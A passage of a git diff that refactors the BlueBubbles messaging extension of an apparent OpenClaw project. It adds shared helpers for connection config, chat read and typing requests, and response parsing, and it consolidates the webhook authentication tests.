extensions/zalouser/src/monitor.send-mocks.ts create mode 100644 extensions/zalouser/src/qr-temp-file.ts diff --git a/extensions/bluebubbles/src/channel.ts b/extensions/bluebubbles/src/channel.ts index e00364cf115..741f93d3ae0 100644 --- a/extensions/bluebubbles/src/channel.ts +++ b/extensions/bluebubbles/src/channel.ts @@ -6,6 +6,7 @@ import type { import { applyAccountNameToChannelSection, buildChannelConfigSchema, + buildComputedAccountStatusSnapshot, buildProbeChannelStatusSummary, collectBlueBubblesStatusIssues, DEFAULT_ACCOUNT_ID, @@ -25,6 +26,7 @@ import { resolveDefaultBlueBubblesAccountId, } from "./accounts.js"; import { bluebubblesMessageActions } from "./actions.js"; +import { applyBlueBubblesConnectionConfig } from "./config-apply.js"; import { BlueBubblesConfigSchema } from "./config-schema.js"; import { sendBlueBubblesMedia } from "./media-send.js"; import { resolveBlueBubblesMessageId } from "./monitor.js"; @@ -255,40 +257,27 @@ export const bluebubblesPlugin: ChannelPlugin = { }) : namedConfig; if (accountId === DEFAULT_ACCOUNT_ID) { - return { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - ...(input.httpUrl ? { serverUrl: input.httpUrl } : {}), - ...(input.password ? { password: input.password } : {}), - ...(input.webhookPath ? { webhookPath: input.webhookPath } : {}), - }, + return applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl: input.httpUrl, + password: input.password, + webhookPath: input.webhookPath, }, - } as OpenClawConfig; + onlyDefinedFields: true, + }); } - return { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - accounts: { - ...next.channels?.bluebubbles?.accounts, - [accountId]: { - ...next.channels?.bluebubbles?.accounts?.[accountId], - enabled: true, - ...(input.httpUrl ? { serverUrl: input.httpUrl } : {}), - ...(input.password ? { password: input.password } : {}), - ...(input.webhookPath ? { webhookPath: input.webhookPath } : {}), - }, - }, - }, + return applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl: input.httpUrl, + password: input.password, + webhookPath: input.webhookPath, }, - } as OpenClawConfig; + onlyDefinedFields: true, + }); }, }, pairing: { @@ -372,20 +361,18 @@ export const bluebubblesPlugin: ChannelPlugin = { buildAccountSnapshot: ({ account, runtime, probe }) => { const running = runtime?.running ?? false; const probeOk = (probe as BlueBubblesProbe | undefined)?.ok; - return { + const base = buildComputedAccountStatusSnapshot({ accountId: account.accountId, name: account.name, enabled: account.enabled, configured: account.configured, - baseUrl: account.baseUrl, - running, - connected: probeOk ?? running, - lastStartAt: runtime?.lastStartAt ?? null, - lastStopAt: runtime?.lastStopAt ?? null, - lastError: runtime?.lastError ?? null, + runtime, probe, - lastInboundAt: runtime?.lastInboundAt ?? null, - lastOutboundAt: runtime?.lastOutboundAt ?? null, + }); + return { + ...base, + baseUrl: account.baseUrl, + connected: probeOk ?? running, }; }, }, diff --git a/extensions/bluebubbles/src/chat.ts b/extensions/bluebubbles/src/chat.ts index 5489077eaca..b63f09272f2 100644 --- a/extensions/bluebubbles/src/chat.ts +++ b/extensions/bluebubbles/src/chat.ts @@ -30,6 +30,39 @@ function resolvePartIndex(partIndex: number | undefined): number { return typeof partIndex === "number" ? partIndex : 0; } +async function sendBlueBubblesChatEndpointRequest(params: { + chatGuid: string; + opts: BlueBubblesChatOpts; + endpoint: "read" | "typing"; + method: "POST" | "DELETE"; + action: "read" | "typing"; +}): Promise { + const trimmed = params.chatGuid.trim(); + if (!trimmed) { + return; + } + const { baseUrl, password, accountId } = resolveAccount(params.opts); + if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { + return; + } + const url = buildBlueBubblesApiUrl({ + baseUrl, + path: `/api/v1/chat/${encodeURIComponent(trimmed)}/${params.endpoint}`, + password, + }); + const res = await blueBubblesFetchWithTimeout( + url, + { method: params.method }, + params.opts.timeoutMs, + ); + if (!res.ok) { + const errorText = await res.text().catch(() => ""); + throw new Error( + `BlueBubbles ${params.action} failed (${res.status}): ${errorText || "unknown"}`, + ); + } +} + async function sendPrivateApiJsonRequest(params: { opts: BlueBubblesChatOpts; feature: string; @@ -65,24 +98,13 @@ export async function markBlueBubblesChatRead( chatGuid: string, opts: BlueBubblesChatOpts = {}, ): Promise { - const trimmed = chatGuid.trim(); - if (!trimmed) { - return; - } - const { baseUrl, password, accountId } = resolveAccount(opts); - if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { - return; - } - const url = buildBlueBubblesApiUrl({ - baseUrl, - path: `/api/v1/chat/${encodeURIComponent(trimmed)}/read`, - password, + await sendBlueBubblesChatEndpointRequest({ + chatGuid, + opts, + endpoint: "read", + method: "POST", + action: "read", }); - const res = await blueBubblesFetchWithTimeout(url, { method: "POST" }, opts.timeoutMs); - if (!res.ok) { - const errorText = await res.text().catch(() => ""); - throw new Error(`BlueBubbles read failed (${res.status}): ${errorText || "unknown"}`); - } } export async function sendBlueBubblesTyping( @@ -90,28 +112,13 @@ export async function sendBlueBubblesTyping( typing: boolean, opts: BlueBubblesChatOpts = {}, ): Promise { - const trimmed = chatGuid.trim(); - if (!trimmed) { - return; - } - const { baseUrl, password, accountId } = resolveAccount(opts); - if (getCachedBlueBubblesPrivateApiStatus(accountId) === false) { - return; - } - const url = buildBlueBubblesApiUrl({ - baseUrl, - path: `/api/v1/chat/${encodeURIComponent(trimmed)}/typing`, - password, + await sendBlueBubblesChatEndpointRequest({ + chatGuid, + opts, + endpoint: "typing", + method: typing ? "POST" : "DELETE", + action: "typing", }); - const res = await blueBubblesFetchWithTimeout( - url, - { method: typing ? "POST" : "DELETE" }, - opts.timeoutMs, - ); - if (!res.ok) { - const errorText = await res.text().catch(() => ""); - throw new Error(`BlueBubbles typing failed (${res.status}): ${errorText || "unknown"}`); - } } /** diff --git a/extensions/bluebubbles/src/config-apply.ts b/extensions/bluebubbles/src/config-apply.ts new file mode 100644 index 00000000000..70b8c7cae37 --- /dev/null +++ b/extensions/bluebubbles/src/config-apply.ts @@ -0,0 +1,77 @@ +import { DEFAULT_ACCOUNT_ID, type OpenClawConfig } from "openclaw/plugin-sdk/bluebubbles"; + +type BlueBubblesConfigPatch = { + serverUrl?: string; + password?: unknown; + webhookPath?: string; +}; + +type AccountEnabledMode = boolean | "preserve-or-true"; + +function normalizePatch( + patch: BlueBubblesConfigPatch, + onlyDefinedFields: boolean, +): BlueBubblesConfigPatch { + if (!onlyDefinedFields) { + return patch; + } + const next: BlueBubblesConfigPatch = {}; + if (patch.serverUrl !== undefined) { + next.serverUrl = patch.serverUrl; + } + if (patch.password !== undefined) { + next.password = patch.password; + } + if (patch.webhookPath !== undefined) { + next.webhookPath = patch.webhookPath; + } + return next; +} + +export function applyBlueBubblesConnectionConfig(params: { + cfg: OpenClawConfig; + accountId: string; + patch: BlueBubblesConfigPatch; + onlyDefinedFields?: boolean; + accountEnabled?: AccountEnabledMode; +}): OpenClawConfig { + const patch = normalizePatch(params.patch, params.onlyDefinedFields === true); + if (params.accountId === DEFAULT_ACCOUNT_ID) { + return { + ...params.cfg, + channels: { + ...params.cfg.channels, + bluebubbles: { + ...params.cfg.channels?.bluebubbles, + enabled: true, + ...patch, + }, + }, + }; + } + + const currentAccount = params.cfg.channels?.bluebubbles?.accounts?.[params.accountId]; + const enabled = + params.accountEnabled === "preserve-or-true" + ? (currentAccount?.enabled ?? true) + : (params.accountEnabled ?? true); + + return { + ...params.cfg, + channels: { + ...params.cfg.channels, + bluebubbles: { + ...params.cfg.channels?.bluebubbles, + enabled: true, + accounts: { + ...params.cfg.channels?.bluebubbles?.accounts, + [params.accountId]: { + ...currentAccount, + enabled, + ...patch, + }, + }, + }, + }, + }; +} diff --git a/extensions/bluebubbles/src/monitor-normalize.ts b/extensions/bluebubbles/src/monitor-normalize.ts index e591f21dfb9..22705e6b12c 100644 --- a/extensions/bluebubbles/src/monitor-normalize.ts +++ b/extensions/bluebubbles/src/monitor-normalize.ts @@ -1,3 +1,4 @@ +import { parseFiniteNumber } from "../../../src/infra/parse-finite-number.js"; import { extractHandleFromChatGuid, normalizeBlueBubblesHandle } from "./targets.js"; import type { BlueBubblesAttachment } from "./types.js"; @@ -35,17 +36,7 @@ function readNumberLike(record: Record | null, key: string): nu if (!record) { return undefined; } - const value = record[key]; - if (typeof value === "number" && Number.isFinite(value)) { - return value; - } - if (typeof value === "string") { - const parsed = Number.parseFloat(value); - if (Number.isFinite(parsed)) { - return parsed; - } - } - return undefined; + return parseFiniteNumber(record[key]); } function extractAttachments(message: Record): BlueBubblesAttachment[] { diff --git a/extensions/bluebubbles/src/monitor.webhook-auth.test.ts b/extensions/bluebubbles/src/monitor.webhook-auth.test.ts index 9dd8e6f470b..201216c89ca 100644 --- a/extensions/bluebubbles/src/monitor.webhook-auth.test.ts +++ b/extensions/bluebubbles/src/monitor.webhook-auth.test.ts @@ -240,6 +240,15 @@ function getFirstDispatchCall(): DispatchReplyParams { } describe("BlueBubbles webhook monitor", () => { + const WEBHOOK_PATH = "/bluebubbles-webhook"; + const BASE_WEBHOOK_MESSAGE_DATA = { + text: "hello", + handle: { address: "+15551234567" }, + isGroup: false, + isFromMe: false, + guid: "msg-1", + } as const; + let unregister: () => void; beforeEach(() => { @@ -261,122 +270,144 @@ describe("BlueBubbles webhook monitor", () => { unregister?.(); }); + function createWebhookPayload( + dataOverrides: Record = {}, + ): Record { + return { + type: "new-message", + data: { + ...BASE_WEBHOOK_MESSAGE_DATA, + ...dataOverrides, + }, + }; + } + + function createWebhookTargetDeps(core?: PluginRuntime): { + config: OpenClawConfig; + core: PluginRuntime; + runtime: { + log: ReturnType void>>; + error: ReturnType void>>; + }; + } { + const resolvedCore = core ?? createMockRuntime(); + setBlueBubblesRuntime(resolvedCore); + return { + config: {}, + core: resolvedCore, + runtime: { + log: vi.fn<(message: string) => void>(), + error: vi.fn<(message: string) => void>(), + }, + }; + } + + function registerWebhookTarget( + params: { + account?: ResolvedBlueBubblesAccount; + config?: OpenClawConfig; + core?: PluginRuntime; + runtime?: { + log: ReturnType void>>; + error: ReturnType void>>; + }; + path?: string; + statusSink?: Parameters[0]["statusSink"]; + trackForCleanup?: boolean; + } = {}, + ): { + config: OpenClawConfig; + core: PluginRuntime; + runtime: { + log: ReturnType void>>; + error: ReturnType void>>; + }; + stop: () => void; + } { + const deps = + params.config && params.core && params.runtime + ? { config: params.config, core: params.core, runtime: params.runtime } + : createWebhookTargetDeps(params.core); + const stop = registerBlueBubblesWebhookTarget({ + account: params.account ?? createMockAccount(), + ...deps, + path: params.path ?? WEBHOOK_PATH, + statusSink: params.statusSink, + }); + if (params.trackForCleanup !== false) { + unregister = stop; + } + return { ...deps, stop }; + } + + async function sendWebhookRequest(params: { + method?: string; + url?: string; + body?: unknown; + headers?: Record; + remoteAddress?: string; + }): Promise<{ + req: IncomingMessage; + res: ServerResponse & { body: string; statusCode: number }; + handled: boolean; + }> { + const req = createMockRequest( + params.method ?? "POST", + params.url ?? WEBHOOK_PATH, + params.body ?? createWebhookPayload(), + params.headers, + ); + if (params.remoteAddress) { + (req as unknown as { socket: { remoteAddress: string } }).socket = { + remoteAddress: params.remoteAddress, + }; + } + const res = createMockResponse(); + const handled = await handleBlueBubblesWebhookRequest(req, res); + return { req, res, handled }; + } + describe("webhook parsing + auth handling", () => { it("rejects non-POST requests", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget(); + const { handled, res } = await sendWebhookRequest({ + method: "GET", + body: {}, }); - const req = createMockRequest("GET", "/bluebubbles-webhook", {}); - const res = createMockResponse(); - - const handled = await handleBlueBubblesWebhookRequest(req, res); - expect(handled).toBe(true); expect(res.statusCode).toBe(405); }); it("accepts POST requests with valid JSON payload", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget(); + const { handled, res } = await sendWebhookRequest({ + body: createWebhookPayload({ date: Date.now() }), }); - const payload = { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - date: Date.now(), - }, - }; - - const req = createMockRequest("POST", "/bluebubbles-webhook", payload); - const res = createMockResponse(); - - const handled = await handleBlueBubblesWebhookRequest(req, res); - expect(handled).toBe(true); expect(res.statusCode).toBe(200); expect(res.body).toBe("ok"); }); it("rejects requests with invalid JSON", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget(); + const { handled, res } = await sendWebhookRequest({ + body: "invalid json {{", }); - const req = createMockRequest("POST", "/bluebubbles-webhook", "invalid json {{"); - const res = createMockResponse(); - - const handled = await handleBlueBubblesWebhookRequest(req, res); - expect(handled).toBe(true); expect(res.statusCode).toBe(400); }); it("accepts URL-encoded payload wrappers", async () => { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); - - const payload = { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - date: Date.now(), - }, - }; + registerWebhookTarget(); + const payload = createWebhookPayload({ date: Date.now() }); const encodedBody = new URLSearchParams({ payload: JSON.stringify(payload), }).toString(); - const req = createMockRequest("POST", "/bluebubbles-webhook", encodedBody); - const res = createMockResponse(); - - const handled = await handleBlueBubblesWebhookRequest(req, res); + const { handled, res } = await sendWebhookRequest({ body: encodedBody }); expect(handled).toBe(true); expect(res.statusCode).toBe(200); @@ -386,23 +417,12 @@ describe("BlueBubbles webhook monitor", () => { it("returns 408 when request body times out (Slow-Loris protection)", async () => { vi.useFakeTimers(); try { - const account = createMockAccount(); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", - }); + registerWebhookTarget(); // Create a request that never sends data or ends (simulates slow-loris) const req = new EventEmitter() as IncomingMessage; req.method = "POST"; - req.url = "/bluebubbles-webhook?password=test-password"; + req.url = `${WEBHOOK_PATH}?password=test-password`; req.headers = {}; (req as unknown as { socket: { remoteAddress: string } }).socket = { remoteAddress: "127.0.0.1", @@ -426,22 +446,13 @@ describe("BlueBubbles webhook monitor", () => { }); it("rejects unauthorized requests before reading the body", async () => { - const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget({ + account: createMockAccount({ password: "secret-token" }), }); const req = new EventEmitter() as IncomingMessage; req.method = "POST"; - req.url = "/bluebubbles-webhook?password=wrong-token"; + req.url = `${WEBHOOK_PATH}?password=wrong-token`; req.headers = {}; const onSpy = vi.spyOn(req, "on"); (req as unknown as { socket: { remoteAddress: string } }).socket = { @@ -457,112 +468,43 @@ describe("BlueBubbles webhook monitor", () => { }); it("authenticates via password query parameter", async () => { - const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - // Mock non-localhost request - const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, + registerWebhookTarget({ + account: createMockAccount({ password: "secret-token" }), }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { + const { handled, res } = await sendWebhookRequest({ + url: `${WEBHOOK_PATH}?password=secret-token`, + body: createWebhookPayload(), remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", }); - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); - expect(handled).toBe(true); expect(res.statusCode).toBe(200); }); it("authenticates via x-password header", async () => { - const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - const req = createMockRequest( - "POST", - "/bluebubbles-webhook", - { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }, - { "x-password": "secret-token" }, - ); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget({ + account: createMockAccount({ password: "secret-token" }), + }); + const { handled, res } = await sendWebhookRequest({ + body: createWebhookPayload(), + headers: { "x-password": "secret-token" }, + remoteAddress: "192.168.1.100", }); - - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); expect(handled).toBe(true); expect(res.statusCode).toBe(200); }); it("rejects unauthorized requests with wrong password", async () => { - const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - const req = createMockRequest("POST", "/bluebubbles-webhook?password=wrong-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, + registerWebhookTarget({ + account: createMockAccount({ password: "secret-token" }), }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { + const { handled, res } = await sendWebhookRequest({ + url: `${WEBHOOK_PATH}?password=wrong-token`, + body: createWebhookPayload(), remoteAddress: "192.168.1.100", - }; - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", }); - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); - expect(handled).toBe(true); expect(res.statusCode).toBe(401); }); @@ -570,50 +512,37 @@ describe("BlueBubbles webhook monitor", () => { it("rejects ambiguous routing when multiple targets match the same password", async () => { const accountA = createMockAccount({ password: "secret-token" }); const accountB = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); + const { config, core, runtime } = createWebhookTargetDeps(); const sinkA = vi.fn(); const sinkB = vi.fn(); - const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - const unregisterA = registerBlueBubblesWebhookTarget({ + const unregisterA = registerWebhookTarget({ account: accountA, config, - runtime: { log: vi.fn(), error: vi.fn() }, + runtime, core, - path: "/bluebubbles-webhook", + trackForCleanup: false, statusSink: sinkA, - }); - const unregisterB = registerBlueBubblesWebhookTarget({ + }).stop; + const unregisterB = registerWebhookTarget({ account: accountB, config, - runtime: { log: vi.fn(), error: vi.fn() }, + runtime, core, - path: "/bluebubbles-webhook", + trackForCleanup: false, statusSink: sinkB, - }); + }).stop; unregister = () => { unregisterA(); unregisterB(); }; - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); + const { handled, res } = await sendWebhookRequest({ + url: `${WEBHOOK_PATH}?password=secret-token`, + body: createWebhookPayload(), + remoteAddress: "192.168.1.100", + }); expect(handled).toBe(true); expect(res.statusCode).toBe(401); @@ -624,50 +553,37 @@ describe("BlueBubbles webhook monitor", () => { it("ignores targets without passwords when a password-authenticated target matches", async () => { const accountStrict = createMockAccount({ password: "secret-token" }); const accountWithoutPassword = createMockAccount({ password: undefined }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); + const { config, core, runtime } = createWebhookTargetDeps(); const sinkStrict = vi.fn(); const sinkWithoutPassword = vi.fn(); - const req = createMockRequest("POST", "/bluebubbles-webhook?password=secret-token", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress: "192.168.1.100", - }; - - const unregisterStrict = registerBlueBubblesWebhookTarget({ + const unregisterStrict = registerWebhookTarget({ account: accountStrict, config, - runtime: { log: vi.fn(), error: vi.fn() }, + runtime, core, - path: "/bluebubbles-webhook", + trackForCleanup: false, statusSink: sinkStrict, - }); - const unregisterNoPassword = registerBlueBubblesWebhookTarget({ + }).stop; + const unregisterNoPassword = registerWebhookTarget({ account: accountWithoutPassword, config, - runtime: { log: vi.fn(), error: vi.fn() }, + runtime, core, - path: "/bluebubbles-webhook", + trackForCleanup: false, statusSink: sinkWithoutPassword, - }); + }).stop; unregister = () => { unregisterStrict(); unregisterNoPassword(); }; - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); + const { handled, res } = await sendWebhookRequest({ + url: `${WEBHOOK_PATH}?password=secret-token`, + body: createWebhookPayload(), + remoteAddress: "192.168.1.100", + }); expect(handled).toBe(true); expect(res.statusCode).toBe(200); @@ -677,34 +593,20 @@ describe("BlueBubbles webhook monitor", () => { it("requires authentication for loopback requests when password is configured", async () => { const account = createMockAccount({ password: "secret-token" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); + const { config, core, runtime } = createWebhookTargetDeps(); for (const remoteAddress of ["127.0.0.1", "::1", "::ffff:127.0.0.1"]) { - const req = createMockRequest("POST", "/bluebubbles-webhook", { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }); - (req as unknown as { socket: { remoteAddress: string } }).socket = { - remoteAddress, - }; - - const loopbackUnregister = registerBlueBubblesWebhookTarget({ + const loopbackUnregister = registerWebhookTarget({ account, config, - runtime: { log: vi.fn(), error: vi.fn() }, + runtime, core, - path: "/bluebubbles-webhook", - }); + trackForCleanup: false, + }).stop; - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); + const { handled, res } = await sendWebhookRequest({ + body: createWebhookPayload(), + remoteAddress, + }); expect(handled).toBe(true); expect(res.statusCode).toBe(401); @@ -713,17 +615,8 @@ describe("BlueBubbles webhook monitor", () => { }); it("rejects targets without passwords for loopback and proxied-looking requests", async () => { - const account = createMockAccount({ password: undefined }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget({ + account: createMockAccount({ password: undefined }), }); const headerVariants: Record[] = [ @@ -732,26 +625,11 @@ describe("BlueBubbles webhook monitor", () => { { host: "localhost", forwarded: "for=203.0.113.10;proto=https;host=example.com" }, ]; for (const headers of headerVariants) { - const req = createMockRequest( - "POST", - "/bluebubbles-webhook", - { - type: "new-message", - data: { - text: "hello", - handle: { address: "+15551234567" }, - isGroup: false, - isFromMe: false, - guid: "msg-1", - }, - }, + const { handled, res } = await sendWebhookRequest({ + body: createWebhookPayload(), headers, - ); - (req as unknown as { socket: { remoteAddress: string } }).socket = { remoteAddress: "127.0.0.1", - }; - const res = createMockResponse(); - const handled = await handleBlueBubblesWebhookRequest(req, res); + }); expect(handled).toBe(true); expect(res.statusCode).toBe(401); } @@ -770,36 +648,18 @@ describe("BlueBubbles webhook monitor", () => { const { resolveChatGuidForTarget } = await import("./send.js"); vi.mocked(resolveChatGuidForTarget).mockClear(); - const account = createMockAccount({ groupPolicy: "open" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget({ + account: createMockAccount({ groupPolicy: "open" }), }); - const payload = { - type: "new-message", - data: { + await sendWebhookRequest({ + body: createWebhookPayload({ text: "hello from group", - handle: { address: "+15551234567" }, isGroup: true, - isFromMe: false, - guid: "msg-1", chatId: "123", date: Date.now(), - }, - }; - - const req = createMockRequest("POST", "/bluebubbles-webhook", payload); - const res = createMockResponse(); - - await handleBlueBubblesWebhookRequest(req, res); + }), + }); await flushAsync(); expect(resolveChatGuidForTarget).toHaveBeenCalledWith( @@ -819,36 +679,18 @@ describe("BlueBubbles webhook monitor", () => { return EMPTY_DISPATCH_RESULT; }); - const account = createMockAccount({ groupPolicy: "open" }); - const config: OpenClawConfig = {}; - const core = createMockRuntime(); - setBlueBubblesRuntime(core); - - unregister = registerBlueBubblesWebhookTarget({ - account, - config, - runtime: { log: vi.fn(), error: vi.fn() }, - core, - path: "/bluebubbles-webhook", + registerWebhookTarget({ + account: createMockAccount({ groupPolicy: "open" }), }); - const payload = { - type: "new-message", - data: { + await sendWebhookRequest({ + body: createWebhookPayload({ text: "hello from group", - handle: { address: "+15551234567" }, isGroup: true, - isFromMe: false, - guid: "msg-1", chat: { chatGuid: "iMessage;+;chat123456" }, date: Date.now(), - }, - }; - - const req = createMockRequest("POST", "/bluebubbles-webhook", payload); - const res = createMockResponse(); - - await handleBlueBubblesWebhookRequest(req, res); + }), + }); await flushAsync(); expect(resolveChatGuidForTarget).not.toHaveBeenCalled(); diff --git a/extensions/bluebubbles/src/onboarding.ts b/extensions/bluebubbles/src/onboarding.ts index 8936d3d5c52..bd6bb0913b8 100644 --- a/extensions/bluebubbles/src/onboarding.ts +++ b/extensions/bluebubbles/src/onboarding.ts @@ -18,6 +18,7 @@ import { resolveBlueBubblesAccount, resolveDefaultBlueBubblesAccountId, } from "./accounts.js"; +import { applyBlueBubblesConnectionConfig } from "./config-apply.js"; import { hasConfiguredSecretInput, normalizeSecretInputString } from "./secret-input.js"; import { parseBlueBubblesAllowTarget } from "./targets.js"; import { normalizeBlueBubblesServerUrl } from "./types.js"; @@ -283,42 +284,16 @@ export const blueBubblesOnboardingAdapter: ChannelOnboardingAdapter = { } // Apply config - if (accountId === DEFAULT_ACCOUNT_ID) { - next = { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - serverUrl, - password, - webhookPath, - }, - }, - }; - } else { - next = { - ...next, - channels: { - ...next.channels, - bluebubbles: { - ...next.channels?.bluebubbles, - enabled: true, - accounts: { - ...next.channels?.bluebubbles?.accounts, - [accountId]: { - ...next.channels?.bluebubbles?.accounts?.[accountId], - enabled: next.channels?.bluebubbles?.accounts?.[accountId]?.enabled ?? true, - serverUrl, - password, - webhookPath, - }, - }, - }, - }, - }; - } + next = applyBlueBubblesConnectionConfig({ + cfg: next, + accountId, + patch: { + serverUrl, + password, + webhookPath, + }, + accountEnabled: "preserve-or-true", + }); await prompter.note( [ diff --git a/extensions/bluebubbles/src/request-url.ts b/extensions/bluebubbles/src/request-url.ts index 0be775359d5..cd1527f186f 100644 --- a/extensions/bluebubbles/src/request-url.ts +++ b/extensions/bluebubbles/src/request-url.ts @@ -1,12 +1 @@ -export function resolveRequestUrl(input: RequestInfo | URL): string { - if (typeof input === "string") { - return input; - } - if (input instanceof URL) { - return input.toString(); - } - if (typeof input === "object" && input && "url" in input && typeof input.url === "string") { - return input.url; - } - return String(input); -} +export { resolveRequestUrl } from "openclaw/plugin-sdk/bluebubbles"; diff --git a/extensions/bluebubbles/src/send.ts b/extensions/bluebubbles/src/send.ts index a32fd92d470..8c12e88bd23 100644 --- a/extensions/bluebubbles/src/send.ts +++ b/extensions/bluebubbles/src/send.ts @@ -108,6 +108,19 @@ function resolvePrivateApiDecision(params: { }; } +async function parseBlueBubblesMessageResponse(res: Response): Promise { + const body = await res.text(); + if (!body) { + return { messageId: "ok" }; + } + try { + const parsed = JSON.parse(body) as unknown; + return { messageId: extractBlueBubblesMessageId(parsed) }; + } catch { + return { messageId: "ok" }; + } +} + type BlueBubblesChatRecord = Record; function extractChatGuid(chat: BlueBubblesChatRecord): string | null { @@ -342,16 +355,7 @@ async function createNewChatWithMessage(params: { } throw new Error(`BlueBubbles create chat failed (${res.status}): ${errorText || "unknown"}`); } - const body = await res.text(); - if (!body) { - return { messageId: "ok" }; - } - try { - const parsed = JSON.parse(body) as unknown; - return { messageId: extractBlueBubblesMessageId(parsed) }; - } catch { - return { messageId: "ok" }; - } + return parseBlueBubblesMessageResponse(res); } export async function sendMessageBlueBubbles( @@ -464,14 +468,5 @@ export async function sendMessageBlueBubbles( const errorText = await res.text(); throw new Error(`BlueBubbles send failed (${res.status}): ${errorText || "unknown"}`); } - const body = await res.text(); - if (!body) { - return { messageId: "ok" }; - } - try { - const parsed = JSON.parse(body) as unknown; - return { messageId: extractBlueBubblesMessageId(parsed) }; - } catch { - return { messageId: "ok" }; - } + return parseBlueBubblesMessageResponse(res); } diff --git a/extensions/diffs/src/config.test.ts b/extensions/diffs/src/config.test.ts index a2795546fdb..b7845326483 100644 --- 